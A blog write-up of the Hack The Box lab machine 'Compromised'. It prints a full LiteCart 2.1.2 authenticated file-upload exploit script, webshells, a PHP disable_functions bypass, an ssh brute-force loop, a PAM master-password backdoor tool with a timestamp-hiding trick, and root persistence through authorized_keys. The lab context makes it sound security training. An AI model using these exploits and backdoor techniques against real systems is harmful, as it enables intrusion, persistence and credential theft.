Hack The Box - Compromised Writeup

Published on 2021-01-24 by molzy

Compromised is an Hard-tier vulnerable Linux virtual machine, created by D4nch3n.

The goal of my participation in Hack The Box is to learn which tools are used for analysis and exploitation of a variety of protocols, and how to use them efficiently. A side goal is to be exposed to unfamiliar software.


Summary

Name Compromised
Creator D4nch3n
IP Address 10.10.10.207
OS Linux
Release Date 2020-09-12
Retirement Date 2021-01-23
Difficulty Hard (40 points)

Hack The Box - Compromised - Logo

First, we discover a web store selling handsome ducks. There is a way to quack this webstore wide open, but we'll need a password. We find some backups lying around, and proceed to uncover evidence of a prior break-in. The clean up was not extensive enough to prevent us from uncovering a hidden password, which allows us to discover that PHP will stop us. However, PHP will not stop us, as we can bypass the feeble security filter standing in our way.

After extensive searching on the system, we discover a backdoored authentication program. This backdoor is then reverse engineered in order to discover a master key, which is then used to escalate straight to root. We then circle back to discover yet another backdoor, which has been loaded into the MySQL database, and a user's password which has been carelessly logged by MySQL.

This was a great journey, and I enjoyed learning about some potential backdoors!


Initial Reconnaissance

Running nmap

First thing, as always, we'll add the machine to /etc/hosts, and run nmap.

nmap -Pn -sCV -oN 10.10.10.207
Nmap scan report for 10.10.10.207
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
|   256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_  256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.129.8.139/shop/en/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

The first scan reveals only ports 80 and 22. Therefore, the way in is most likely web-based, and I'll enumerate port 80 first.

Exploits And Backups

The website on port 80 has an instance of LiteCart running on it.

The only CVE in my local exploitdb is from 2018, entitled LiteCart 2.1.2 - Arbitrary File Upload. However, that one is authenticated, and we don't have credentials.

A quick search reveals a newer one, CVE-2020-9018, which was disclosed this year! As this one is still authenticated and works up to version 2.2.1, we'll keep it on the backburner.

There's a directory called backup showing in scans. We try to access the directory, and obtain a directory listing showcasing the file a.tar.gz.

http://10.10.10.207/backup/
Index of /backup
[ICO]   Name    Last modified   Size    Description
[PARENTDIR] Parent Directory        -    
[ ] a.tar.gz    2020-09-03 11:51    4.4M     
Apache/2.4.29 (Ubuntu) Server at 10.10.10.207 Port 80

Upon downloading this file and running tar xf a.tar.gz, we discover that this archive contains a site backup!

Turns out the backup is of LiteCart version 2.1.2, which is the applicable version number for the 2018 authenticated arbitrary file upload vulnerability. We'll stash this knowledge for later.

A quick listing of "hidden" files shows a suspicious entry within the extracted files: shop/.sh.php.

I believe that some form of compromise may have happened on this site in the past.

Investigating A Compromise

The file .sh.php no longer exists on the live version of the website, of course. Enumeration shall continue.

While searching the rest of the files for the text "admin", I found another interesting file in the backup, shop/admin/login.php.

There had been a slight adjustment to the file contents, with the addition of this line of code.

a.tar.gz: shop/admin/login.php
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);

This .log2301c9430d8593ae.txt file dows net exist in the backup. How about the live server?

> curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
User: admin Passwd: theNextGenSt0r3!~

We have credentials! :D

And... we can login to LiteCart as admin using them. Note that we may become rate limited if we submit too many invalid credentials.

The LiteCart version number in use is still 2.1.2. Let's try the older exploit from exploitdb!

attacking host
> python 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/CEFZF.php?c=id

The python script returns a successful "shell" ... but using the shell doesn't return any output.

I think we can get it working with some slight tweaks. Perhaps there has been some PHP hardening...

Firstly, I modified some lines in the python2 exploit in order to read in a file to upload. The new exploit is reproduced below.

exploit.py
# Exploit Title: LiteCart 2.1.2 - Arbitrary File Upload
# Date: 2018-08-27
# Exploit Author: Haboob Team
# Software Link: https://www.litecart.net/downloading?version=2.1.2
# Version: 2.1.2
# CVE : CVE-2018-12256

# 1. Description
# admin/vqmods.app/vqmods.inc.php in LiteCart 2.1.2 allows remote authenticated attackers
# to upload a malicious file (resulting in remote code execution) by using the text/xml
# or application/xml Content-Type in a public_html/admin/?app=vqmods&doc=vqmods request.

# 2. Proof of Concept

#!/usr/bin/env python
import mechanize
import cookielib
import urllib2
import requests
import sys
import argparse
import random
import string
parser = argparse.ArgumentParser(description='LiteCart')
parser.add_argument('-t',
                    help='admin login page url - EX: https://IPADDRESS/admin/')
parser.add_argument('-p',
                    help='admin password')
parser.add_argument('-u',
                    help='admin username')
parser.add_argument('-f',
                    help='filename to upload')
args = parser.parse_args()
if(not args.u or not args.t or not args.p):
    sys.exit("-h for help")
url = args.t
user = args.u
password = args.p
filename = args.f

br = mechanize.Browser()
cookiejar = cookielib.LWPCookieJar()
br.set_cookiejar( cookiejar )
br.set_handle_equiv( True )
br.set_handle_redirect( True )
br.set_handle_referer( True )
br.set_handle_robots( False )
br.addheaders = [ ( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]
response = br.open(url)
br.select_form(name="login_form")
br["username"] = user
br["password"] = password
res = br.submit()
response = br.open(url + "?app=vqmods&doc=vqmods")
one=""
for form in br.forms():
    one= str(form).split("(")
    one= one[1].split("=")
    one= one[1].split(")")
    one = one[0]
cookies = br._ua_handlers['_cookies'].cookiejar
cookie_dict = {}
for c in cookies:
    cookie_dict[c.name] = c.value
rand = 's' if 'backdoor' in filename else ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(5))
files = {
        'vqmod': (rand + ".php", '\n'.join(open(filename, 'r').readlines()), "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/" + rand + ".php?c=id")
if r.status_code == 200:
    print("Shell => " + url + "../vqmod/xml/" + rand + ".php")
    print(r.content)
else:
    print("Sorry something went wrong")

I then copied a webshell from the Kali inbuilt webshells, /usr/share/webshells/php/qsd-php-backdoor.php.

attacking host
> python exploit.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin -f qsd-php-backdoor.php
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/s.php

On this server, it works well enough for directory traversal, just not for a reverse shell.

Exploring The File System

It's time to enumerate the common directories and files, in order to gain more information about the system.

There are three lines of interest in /etc/passwd.

/etc/passwd
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false

The only directory present in /home is sysadmin - perhaps red was the attacker's chosen name?

The admin password does not work to log into sysadmin@10.10.10.207 via ssh.

The system is running Ubuntu 18.04, with an out of date kernel.

/proc/version
Linux version 4.15.0-101-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020

The file /var/www/index.html contains a cute little pwn notice, which has been shrunk to fit below:

/var/www/index.html
<html>
<title>Pwned!</title>
<body style="background-color:yellow;">
<pre style="color:green;">
###################################################

 This shop has been seized until security improves

   Oh, and don't even think about restoring from 
      backups. We are in everything you own.

                     [$(5)$]
              [$(5)$][$(5)$][$(5)$]            
          [$(5)$]    [$(5)$]    [$(5)$]       
        [$(5)$]      [$(5)$]      [$(5)$]    
       [$(5)$]       [$(5)$]       [$(5)$]     
       [$(5)$]       [$(5)$]    [$(5)$][$(5)$]
        [$(5)$]      [$(5)$]
          [$(5)$]    [$(5)$]
              [$(5)$][$(5)$]
              [$(5)$][$(5)$][$(5)$]
                     [$(5)$][$(5)$]
                     [$(5)$]    [$(5)$]
                     [$(5)$]      [$(5)$]
   [$(5)$][$(5)$]    [$(5)$]       [$(5)$]
       [$(5)$]       [$(5)$]       [$(5)$]
        [$(5)$]      [$(5)$]      [$(5)$]
          [$(5)$]    [$(5)$]    [$(5)$]
              [$(5)$][$(5)$][$(5)$]
                     [$(5)$]

###################################################
</pre>
</html>

I turned to Google to look for a tool to automate searching through the filesystem. Eventually, I instead found weevley3, which is a webshell which creates a very comfortable terminal appearance. In this case, we're just glad that it can list directories and read files.

I generated a new webshell with the below:

attacking host
> weevely generate molzy wee-backdoor.php

And using this tool, I was able to gain some very limited command line directory listing.

attacking host
> weevely http://10.10.10.207/shop/admin/../vqmod/xml/s.php molzy

[+] weevely 4.0.1

[+] Target:     www-data@compromised:/var/www/html/shop/vqmod/xml
[+] Session:    /home/simon/.weevely/sessions/10.10.10.207/NAWUD_0.session
[+] Shell:      PHP interpreter

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ls
The remote script execution triggers an error 500, check script and payload integrity
.
..
s.php
index.html
www-data@compromised:/var/www/html/shop/vqmod/xml PHP> id
Is the trailing comma missing at the end of the PHP code '..chdir('/var/www/html/shop/vqmod/xml');@error_reporting(0);id'?
The remote script execution triggers an error 500, check script and payload integrity
www-data@compromised:/var/www/html/shop/vqmod/xml PHP>

Errors abound when we attempt to run a program. There appears to be a filter of some kind stopping us in our tracks.

Why Is The Shell Bad?

It appears that the reason for our reverse shell pain is line 310 in /etc/php/7.2/apache2/php.ini. This has been broken up onto separate lines for readability.

/etc/php/7.2/apache2/php.ini
disable_functions = system,passthru,popen,shell_exec,
                    proc_open,exec,fsockopen,socket_create,
                    curl_exec,curl_multi_exec,mail,putenv,
                    imap_open,parse_ini_file,show_source,
                    file_put_contents,fwrite,pcntl_alarm,
                    pcntl_fork,pcntl_waitpid,pcntl_wait,
                    pcntl_wifexited,pcntl_wifstopped,
                    pcntl_wifsignaled,pcntl_wifcontinued,
                    pcntl_wexitstatus,pcntl_wtermsig,
                    pcntl_wstopsig,pcntl_signal,
                    pcntl_signal_get_handler,pcntl_signal_dispatch,
                    pcntl_get_last_error,pcntl_strerror,
                    pcntl_sigprocmask,pcntl_sigwaitinfo,
                    pcntl_sigtimedwait,pcntl_exec,
                    pcntl_getpriority,pcntl_setpriority,
                    pcntl_async_signals

We should find a way to get the reverse shell connecting back without any of these functions...

After searching for a while, I found a recent blog post detailing some bypasses for the blocking of any particular function call, utilising various buffer overflows and other issues in PHP. These issues are not considered security issues by the PHP development team, and on top of that, are often left unpatched!

The reasoning for this is as follows. The core PHP dev team believes that once the user can run arbitrary PHP code on your system, it is game over. Therefore, there is nothing urgent about a language flaw that can only be exploited with custom code. As long as exploiting the flaw requires deploying arbitrary exploit code on a server, it is Not A Security Issue.

https://wiki.php.net/security#not_a_security_issue
We do not classify as a security issue any issue that:

    - requires invocation of specific code, which may be valid but is obviously malicious
    - requires invocation of functions with specific arguments, which may be valid but are obviously malicious
--[[snip]]--

This means that, every so often, there is a bypass of some sort available. Such a bypass allows us to find disallowed functions in memory and call them, regardless of any disable_functions filter.

The blog post from above linked me to a recent repository, with some sufficiently recent PHP exploits, which are able to execute system() commands!

I used a tweaked copy of the gc-bypass script, as the PHP version on the server is 7.2.24, which is too recent for the json bypass. The bug used by this script is filed on the PHP bugtracker.

I also used a handy script called webwrap to wrap my webshell script into something that feels like a terminal.

attacking host
> git clone https://github.com/mm0r1/exploits

> sed 's/"uname -a"/$_REQUEST["cmd"]/' exploits/php7-gc-bypass/exploit.php > gc-backdoor.php

> python exploit.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin -f gc-backdoor.php
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/s.php

> webwrap "http://10.10.10.207/shop/vqmod/xml/s.php?cmd=WRAP"
www-data@compromised:/var/www/html/shop/vqmod/xml$

Extensive Enumeration

Can We Use MySQL?

Did some more looking around at this stage. There appears to be no way to trigger a network connection to leave the box... There are likely some firewall rules in place.

Let's take a look again at those /etc/passwd lines. Specifically, the MySQL server user...

/etc/passwd
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false

The attacker left /bin/bash as the login shell for the mysql user!

We should be able to trick our way in if we can become the mysql user, or otherwise provide correct credentials for the mysql user!

ssh-keygen is ruled out, as we do not have write access to the /var/mysql directory.

In /etc/mysql, looking at the my.cnf.fallback file versus the my.cnf file, the /etc/mysql/mysql.conf.d directory wouldn't usually exist...

This was a false alarm, it's an Ubuntu packaging quirk.

There's a debian-sys-maint user in the mysql.user table. I tried to crack its authentication_string with johntheripper, no dice. This user has a strong, auto-generated password, and is used for database maintenance tasks when the local mysql software is upgraded to a new release.

webwrap - www-data@compromised
www-data@compromised:/var/www/html/shop/vqmod/xml$ mysql --user=root --password=changethis -e "select User,authentication_string from user" mysql
mysql: [Warning] Using a password on the command line interface can be insecure.
User    authentication_string
root    *C890DD6B4A77DC26B05EB1EE1E458A3E374D3E5B
mysql.session   *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
mysql.sys       *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
debian-sys-maint        *7CDDF050D9C0BC9EB6FDFE3C9CBC1E5F852A9F7A
attacking host
> /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt mysql-authentication_string
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates left, minimum 4 needed for performance.
0g 0:00:00:01 DONE (2020-09-15 12:59) 0g/s 8486Kp/s 8486Kc/s 8486KC/sa6_123..*7¡Vamos!
Session completed

I find some suggestions on this page, and fail to find any way to use the database for privesc.

There's a kernel memory corruption exploit that would work on this version of the Linux kernel, however there is no public proof of concept exploit as yet. CVE-2020-14386. This is a rabbit hole.

Kept plugging away at enumeration, couldn't find a single interesting configuration file. It was taking hours, so I stepped away for a while.

Returning For Packages

Eventually, I went looking for an easy way to check configuration files for abnormalities, and came across a fun tool on Debian-based distributions... dpkg

A system's package manager requires some idea of which files are in each package, in order to cleanly remove any installed packages. This is often done by way of keeping a log of file locations. Apparently Debian's dpkg package manager also creates a log of their hashes, so that it can tell when a file has changed since install! Neat!

It even appears to check certain files that we have no permission to open? Weird, but not relevant in our case. Let's run a check with dpkg -V.

attacking host
> curl "http://10.10.10.207/shop/vqmod/xml/s.php?cmd=dpkg%20-V"
??5??????   /boot/System.map-4.15.0-99-generic
??5?????? c /etc/apache2/apache2.conf
??5?????? c /etc/apache2/sites-available/000-default.conf
??5??????   /boot/vmlinuz-4.15.0-101-generic
??5?????? c /etc/sudoers
??5?????? c /etc/sudoers.d/README
??5?????? c /etc/at.deny
??5?????? c /etc/iscsi/iscsid.conf
??5??????   /boot/vmlinuz-4.15.0-99-generic
??5??????   /bin/nc.openbsd
??5??????   /boot/System.map-4.15.0-101-generic
??5??????   /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla
??5??????   /lib/x86_64-linux-gnu/security/pam_unix.so
??5?????? c /etc/apparmor.d/usr.sbin.mysqld
??5?????? c /etc/mysql/mysql.conf.d/mysqld.cnf

So... /lib/x86_64-linux-gnu/security/pam_unix.so has changed. That seems like a file you wouldn't generally modify.

webwrap - www-data@compromised
www-data@compromised:/lib/x86_64-linux-gnu/security$ ls -a
.
..
.pam_unix.so #!!
pam_access.so
pam_cap.so
...
pam_time.so
pam_timestamp.so
pam_tty_audit.so
pam_umask.so
pam_unix.so #!!
pam_userdb.so
pam_warn.so
pam_wheel.so
pam_xauth.so

I think this pam_unix.so file may have been... compromised!

Both pam_unix.so and .pam_unix.so are the same size (198440 bytes).

And it turns out that both are the same file, exactly.

Note for exploitation - changing the timestamp to match other files around it would help the new file to blend in. The hypothetical command to do so would be as follows:

blending in with timestamps
touch -d "$(date -R -r pam_time.so)" pam_unix.so

I digress.

Analysing The Backdoor

I looked up PAM backdoors, in order to figure out where they might inject some code. This repository generates a new, tiny PAM module called pam_bd.so, to accept a certain master password.

However, this backdoor generator specifically patches pam_unix.so, in order to backdoor it with a master password! Neat!

I think there may be a backdoor on this compromised system :D

Let's open up a reverse engineering tool to find the strings.

I started by dumping assembly.

attacking host
> objdump -xD pam_unix.so > pam_unix.asm

There's far too much of it, and while we get annotated function symbols, strings are not included...

It's time to do the work ourselves. Let's clone the git repo, generate our own backdoor, and see where in the strings output the sample password ends up!

The PAM version used on the remote system is Linux-PAM-1.1.8, as can be found in a line of the strings output for the backdoored file:

/tmp/Linux-PAM-1.1.8/libpam/.libs

The GCC version was GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0.

After compiling the backdoor with an admittedly newer version of GCC (Debian 9.3.0-15), it appears that the secret password shows up in the middle of a bunch of strings, as expected.

attacking host
> git clone https://github.com/zephrax/linux-pam-backdoor

> cd linux-pam-backdoor

> ./backdoor.sh -v 1.1.8 -p som3_s3cr4t_p455w0rd
--[[snip]]--

> strings pam_unix.so | grep -C4 som3_s3cr4t_p455w0rd
bad username [%s]
unix_setcred_return
Password:
-UN*X-PASS
som3_s3cr4t_p455w0rd
auth could not identify password for [%s]
No password supplied
Password unchanged
Can not get username

The same cannot be said for the backdoor! The rest of the strings are not arranged in the same order in the first place, but that doesn't change the fact that the backdoor password is not included in the strings output, nor in the assembly output, to my untrained eye.

The function that was patched by the tool from github was pam_sm_authenticate(). Let's grab a graphical disassembler so that my weak, smooth brain can figure out what is going on. We'll need to inspect that function's code, and look for a similar behaviour to the automated backdoor.

I haven't actually used this particular tool before, so let's try it!

Let's Try Ghidra

Ycnega Ytiruces Lanoitan Eht Nioj!

Let's try Ghidra.

After looking up the function, I noticed a suspicious "backdoor" variable on the stack.

Suspicious backdoor reference name

This backdoor variable ends up being populated with some ASCII-looking data!

Bytes within the ASCII range

Let's decode that, shall we?

ASCII decode
4533557e656b6c7a2d326d3238766e ~> "E3U~eklz-2m28vn"

Doesn't login. Let's try re-ordering the two ASCII segments:

ASCII decode, re-ordered
2d326d3238766e4533557e656b6c7a ~> "-2m28vnE3U~eklz"

Still doesn't login... Reversed endianness of the bytes, perhaps?

ASCII decode, reversed byte order
"zlke~U3Env82m2-" <~ I believe that this is the password
"nv82m2-zlke~U3E"

Let's continue to try all of these for good measure, over ssh, against all known users.

Attempting To Login

I tried all of the above with my basic ssh authentication brute force, shown below.

attacking host
> cat user
mysql
sysadmin
root
red

> cat pass
zlke~U3Env82m2-
-2m28vnE3U~eklz
E3U~eklz-2m28vn
nv82m2-zlke~U3E

> for use in $(cat user); do for lin in $(cat pass); do sshpass -p "$lin" ssh "$use"@10.10.10.207; done; done
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
--[[snip]]--

All attempts fail.

Perhaps the pam_unix module is only called for su, or a login getty?

Not true, it should be usable over ssh!

Although, these are the standard prompts that I know of:

Password:

is the standard prompt for the pam_unix module, and

sysadmin@10.10.10.207's password:

is the standard prompt for the pam_ssh module.

Other Assembly Readouts

Out of curiosity, I went back to the objdump .asm file I did earlier, and tried to find the same goodies I found in ghidra. Looking for strcmp in pam_sm_authenticate, I found the relevant section:

objdump - pam_sm_authenticate
3172:   0f 84 d4 fe ff ff       je     304c <pam_sm_authenticate+0xdc>
3178:   4d 85 ed                test   %r13,%r13
317b:   0f 84 d8 fe ff ff       je     3059 <pam_sm_authenticate+0xe9>
3181:   41 c7 45 00 00 00 00    movl   $0x0,0x0(%r13)
3188:   00
3189:   e9 89 fe ff ff          jmpq   3017 <pam_sm_authenticate+0xa7>
318e:   66 90                   xchg   %ax,%ax
3190:   4c 8b 7c 24 10          mov    0x10(%rsp),%r15
3195:   48 b8 7a 6c 6b 65 7e    movabs $0x4533557e656b6c7a,%rax
319c:   55 33 45
319f:   48 8d 74 24 19          lea    0x19(%rsp),%rsi
31a4:   48 89 44 24 19          mov    %rax,0x19(%rsp)
31a9:   48 b8 6e 76 38 32 6d    movabs $0x2d326d3238766e,%rax
31b0:   32 2d 00
31b3:   48 89 44 24 21          mov    %rax,0x21(%rsp)
31b8:   4c 89 ff                mov    %r15,%rdi
31bb:   e8 00 f1 ff ff          callq  22c0 <strcmp@plt>

Now I have a better picture of one possibility to look for in an authentication backdoor; namely, the strcmp() function, and large hexadecimal constants! This is assuming that there is very little obfuscation.

After some more experiments with reverse engineering tools, I tried radare2 and got a reasonably complete output.

Below is my session, complete with the radare2 instructions to print a function's assembly.

attacking host
> r2 pam_unix.so
    [0x00123412]> s sym.pam_sm_authenticate     # switch to function
    [0x00002f70]> e asm.pseudo = true           # show pseudocode for basic assignments & jumps
                                                # this is because I am a skid
    [0x00002f70]> pdf                           # print the function
    ...
    │ ────────> 0x00003190      4c8b7c2410
    │  │    │   0x00003195      48b87a6c6b65.  movabs rax,0x4533557e656b6c7a ; 'zlke~U3E'
    │  │    │   0x0000319f      488d742419     rsi = qword [var_4fh]
    │  │    │   0x000031a4      4889442419     qword [var_4fh] = rax
    │  │    │   0x000031a9      48b86e763832.  movabs rax,0x2d326d3238766e ; 'nv82m2-'
    │  │    │   0x000031b3      4889442421     qword [var_47h] = rax
    │  │    │   0x000031b8      4c89ff         rdi = r15
    │  │    │   0x000031bb      e800f1ffff     sym.imp.strcmp ()           ; int strcmp(const char *s1, const char *s2)
    │  │    │   0x000031c0      85c0           var = eax & eax
    │  │    │   0x000031c2      89c3           ebx = eax
    │  │   ┌──< 0x000031c4      752c           if (var) goto 0x31f2
--[[snip]]--

Looks much more interpretable than before! Additionally, it looks as though the reversed endianness I had considered was indeed the case, we are looking at string segments 'zlke~U3E' and 'nv82m2-', in that order.

Why Can't We Login?

So, the string assignment is relatively simple. There is no additional trickery or encoding that I have missed.

Why can't I login over ssh using the backdoor password? There must be a reason. Let's check the configuration.

/etc/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
--[[snip]]--
UsePAM no

So PAM isn't used over ssh. That explains a lot, and I should have checked this earlier.

Oh well, I'll keep trying to get a real shell as a user over ssh, or upgrading my webshell. After that, we will have root.

Kernel Rabbit Hole

The current kernel version is Ubuntu 4.15.0-101.102-generic, but there is also an older version present - Ubuntu 4.15.0-99.100-generic.

There is a difference between their configurations:

webwrap - www-data@compromised
www-data@compromised:/boot$ diff config-4.15.0-101-generic config-4.15.0-99-generic
3c3
< # Linux/x86 4.15.0-101-generic Kernel Configuration
---
> # Linux/x86 4.15.0-99-generic Kernel Configuration
72c72
< CONFIG_VERSION_SIGNATURE="Ubuntu 4.15.0-101.102-generic 4.15.18"
---
> CONFIG_VERSION_SIGNATURE="Ubuntu 4.15.0-99.100-generic 4.15.18"
5744c5744
< CONFIG_DRM_BOCHS=m
---
> # CONFIG_DRM_BOCHS is not set

This doesn't prove relevant, as that driver is not related to any CVE I can find. searchsploit has a few results:

attacking host
> searchsploit bochs
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ---------------------------------
Bochs 2.3 - Buffer Overflow (Denial of Service) (PoC)      | linux/dos/30110.c
BOCHS 2.6-5 - Local Buffer Overflow                        | linux/local/43979.py
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results

But they are used for some sort of emulator!

MySQL Rabbit Hole

Back to mysql. I want to see if it is possible to exfiltrate a file. Let's grab some variables.

attacking host
> curl -sG "http://10.10.10.207/shop/vqmod/xml/s.php" --data-urlencode "cmd=mysql --user=root --password=changethis -e 'show variables'" > mysql-variables

Looking up any filesystem info, it looks like the relevant setting that may stand in my way is this:

secure_file_priv        /var/lib/mysql-files/

I may only be able to access files within the /var/lib/mysql-files/ directory.

webwrap - www-data@compromised
$ mysql --user=root --password=changethis -e "CREATE TABLE temp (foo VARCHAR(2000));" ecom
$ mysql --user=root --password=changethis -e "load data infile '/var/lib/mysql/.ssh/id_rsa' into table temp FIELDS TERMINATED BY '\n';" ecom
ERROR 1290 (HY000) at line 1: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Yes indeed. Bummer.

webwrap - www-data@compromised
$ mysql --user=root --password=changethis -e "load data infile '/var/lib/mysql-files/.ssh' into table temp FIELDS TERMINATED BY '\n';" ecom
    ERROR 13 (HY000) at line 1: Can't get stat of '/var/lib/mysql-files/.ssh' (Errcode: 2 - No such file or directory)

Alright, that's something - it is checking for files. Now to enumerate.

attacking host
for lin in $(cat /usr/share/wordlists/dirb/small.txt ); do
    curl -sG "http://10.10.10.207/shop/vqmod/xml/s.php" \
        --data-urlencode "cmd=mysql --user=root --password=changethis -e \"load data infile '/var/lib/mysql-files/$lin' into table temp FIELDS TERMINATED BY '\n';\" ecom 2>&1" \
    | grep -v "No such file or directory" \
    | grep -v "Using a password" \
    | tee -a mysql_enum;
done

Nothing significant was able to be read from the directory using this wordlist; while I could check another installation of mysql to look for log files, I decided that it was most likely another rabbit hole.

Editor's Note: This wasn't entirely a rabbit hole, I could have found something had I checked for the names of certain log files.


A Fake Psuedoterminal

Sudo Via stdin

Circling back to using the pam_unix backdoor, I looked up ways to use the sudo or su programs without needing to enter a password interactively. I quickly found out that the sudo -S option works for such attempts:

attacking host - man sudo
-S          The -S (stdin) option causes sudo to read the password from
                the standard input instead of the terminal device.

Let's try it in the limited webshell.

webwrap - www-data@compromised
$ printf "nv82m2-zlke~U3E\n" | sudo -S id
sudo: unable to resolve host compromised: Resource temporarily unavailable
[sudo] password for www-data: Sorry, try again.
[sudo] password for www-data:
sudo: 1 incorrect password attempt

Tried the other passwords listed above, and found one that gives a different result:

webwrap - www-data@compromised
$ printf "zlke~U3Env82m2-\n" | sudo -S id
sudo: unable to resolve host compromised: Resource temporarily unavailable
[sudo] password for www-data: www-data is not in the sudoers file.  This incident will be reported.

Progress! As we can see that the output is different, we know that this was a working usage of the PAM backdoor. :D

Great Expectations

After searching around for more methods which don't involve sudo, I found a package called expect, which is able to pipe text into su without being in a pty.

attacking host
> expect -c 'spawn su root;expect Password;send "zlke~U3Env82m2-\n";interact'

Unfortunately, it is not installed on the box. We can upload it though!

attacking host
> wget http://mirrors.kernel.org/ubuntu/pool/universe/e/expect/expect_5.45.4-1_amd64.deb
> dpkg -x ./expect_5.45.4-1_amd64.deb expect-deb
> cp expect-deb/usr/bin/expect .
> python exploit.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin -f expect > /dev/null

It uploads, but I can't run it. As it turns out, the exploit upload process doesn't fully work for binary files. It introduces newlines and other undesirable characters.

The solution is to base64 encode and decode the file.

attacking host
> base64 > expect.b64 < expect
> python exploit.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin -f expect.b64 > /dev/null

On the server:

webwrap - www-data@compromised
$ ls -al
...
-rw-r--r-- 1 www-data www-data 14015 Sep 17 07:43 YY56H.php
$ base64 -d > expect < YY56H.php ; chmod +x expect
$ ./expect
./expect: error while loading shared libraries: libexpect.so.5.45: cannot open shared object file: No such file or directory

Nope. I'm not going to go through and fix libraries. I'd also like to attempt this task without compiling a static binary, although I will table that as an option for later.

Empty Expectations

Let's find a smaller utility that does something similar...

Searching through related packages in the Ubuntu repository, we find something called empty-expect.

The description is "Run processes and applications under pseudo-terminal", which sounds about right!

The mirror listing page was throwing HTTP 500 errors when I tried to download. I was able to manually construct the correct URL based on knowing the version number, and having the structure of the mirror URL from the prior package download.

attacking host
> wget http://mirrors.kernel.org/ubuntu/pool/universe/e/empty-expect/empty-expect_0.6.20b-1ubuntu1_amd64.deb

> dpkg -x empty-expect_0.6.20b-1ubuntu1_amd64.deb empty-expect

> cp empty-expect/usr/bin/empty .

> man empty-expect/usr/share/man/man1/empty.1.gz
# Had a cheeky read of the `man` page in order to learn how to use it...

> base64 > empty.base64 < empty

> python exploit.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin -f empty.base64 > /dev/null

Again, on the server:

webwrap - www-data@compromised
$ ls -al
...
-rw-r--r-- 1 www-data www-data 14015 Sep 17 07:46 ZN68Z.php
$ base64 -d > empty < ZN68Z.php ; chmod +x empty
$ mkdir /tmp/.e; cp empty /tmp/.e; cd /tmp/.e
$ ./empty -f -i suin.fifo -o suout.fifo -p su.pid -L su.log su -c 'cat /root/root.txt'

At this stage, the connection times out. However, I believe that the command is still running.

I opened a new webshell, and typed the following.

webwrap - www-data@compromised
$ cd /tmp/.e
$ cat su.log

<<<Password: www-data@compromised:/tmp/.e$

Looks good so far. Now we echo the password into the input fifo:

webwrap - www-data@compromised
$ ./empty -s -o suin.fifo "zlke~U3Env82m2-\n"
$ cat su.log
<<<Password: >>>zlke~U3Env82m2-
<<<
e1436e31ce3900d715658bbcceb3a3fe

Flag get!

Gaining A Secure Shell

We can repeat this, subbing out the cat command, in order to also acquire /home/sysadmin/user.txt.

Ignoring that fact, however, now let's figure out a way to get a reverse shell or ssh in...

webwrap - www-data@compromised
$ ./empty -f -i suin.fifo -o suout.fifo -p su.pid -L su.log su -c 'bash -c "mkdir ~/.ssh; echo ssh-rsa AAAAB3NzaC1yc2EAAAAD...Kq1VmyHs= >> ~/.ssh/authorized_keys"'
> webwrap "http://10.10.10.207/shop/vqmod/xml/s.php?cmd=WRAP"
$ cd /tmp/.e
$ ./empty -s -o suin.fifo "zlke~U3Env82m2-\n"

And on my host:

attacking host
> ssh root@10.10.10.207
